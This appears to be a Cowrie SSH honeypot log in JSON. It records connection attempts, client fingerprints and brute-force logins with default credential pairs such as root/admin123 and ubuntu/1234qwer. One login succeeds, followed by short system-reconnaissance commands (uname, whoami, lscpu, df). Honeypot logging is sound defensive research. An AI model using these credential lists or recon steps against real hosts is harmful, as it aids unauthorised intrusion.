{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"218d5bbba845","protocol":"ssh","message":"New connection: 103.158.40.65:52052 (159.203.135.109:22) [session: 218d5bbba845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.381191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.386031Z","src_ip":"103.158.40.65","session":"218d5bbba845","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.505751Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.593109Z","src_ip":"103.158.40.65","session":"218d5bbba845","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.800955Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.804543Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.936348Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.231141Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.234569Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.364077Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1a2s3d","message":"login attempt [admin/1a2s3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.446669Z","src_ip":"103.158.40.65","session":"218d5bbba845","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.666054Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.669296Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:44.800503Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.120347Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.123851Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.257407Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.561615Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.564468Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.654610Z","src_ip":"103.158.40.65","session":"218d5bbba845","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.700406Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:45.999090Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:46.002558Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:46.138048Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:46.143471Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":41022,"dst_ip":"10.17.0.5","dst_port":22,"session":"89326bf6e004","protocol":"ssh","message":"New connection: 103.125.103.201:41022 (10.17.0.5:22) [session: 89326bf6e004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:47.157620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:47.162447Z","src_ip":"103.125.103.201","session":"89326bf6e004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:47.401194Z","src_ip":"103.125.103.201","session":"89326bf6e004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:48.387596Z","src_ip":"103.125.103.201","session":"89326bf6e004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:49.628912Z","src_ip":"103.125.103.201","session":"89326bf6e004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc56c367653","protocol":"ssh","message":"New connection: 101.36.106.162:60968 (10.17.0.5:22) [session: 9cc56c367653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:58.995855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:59.003901Z","src_ip":"101.36.106.162","session":"9cc56c367653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:59.222303Z","src_ip":"101.36.106.162","session":"9cc56c367653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:00.123172Z","src_ip":"101.36.106.162","session":"9cc56c367653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:01.344367Z","src_ip":"101.36.106.162","session":"9cc56c367653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9da24c84f42","protocol":"ssh","message":"New connection: 2.57.122.208:52634 (159.203.135.109:22) [session: e9da24c84f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:23.933397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:23.957104Z","src_ip":"2.57.122.208","session":"e9da24c84f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:24.123555Z","src_ip":"2.57.122.208","session":"e9da24c84f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:24.727515Z","src_ip":"2.57.122.208","session":"e9da24c84f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:25.991560Z","src_ip":"2.57.122.208","session":"e9da24c84f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6080,"dst_ip":"159.203.135.109","dst_port":22,"session":"17413c6beb82","protocol":"ssh","message":"New connection: 131.161.219.137:6080 (159.203.135.109:22) [session: 17413c6beb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:32.333632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:32.342443Z","src_ip":"131.161.219.137","session":"17413c6beb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:32.471026Z","src_ip":"131.161.219.137","session":"17413c6beb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":45010,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed89207021cf","protocol":"ssh","message":"New connection: 201.6.100.191:45010 (159.203.135.109:22) [session: ed89207021cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:32.963250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:32.967933Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456@","message":"login attempt [ubuntu/aA123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:33.015269Z","src_ip":"131.161.219.137","session":"17413c6beb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:33.107331Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"root","message":"login attempt [steam/root] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:33.693740Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.021659Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
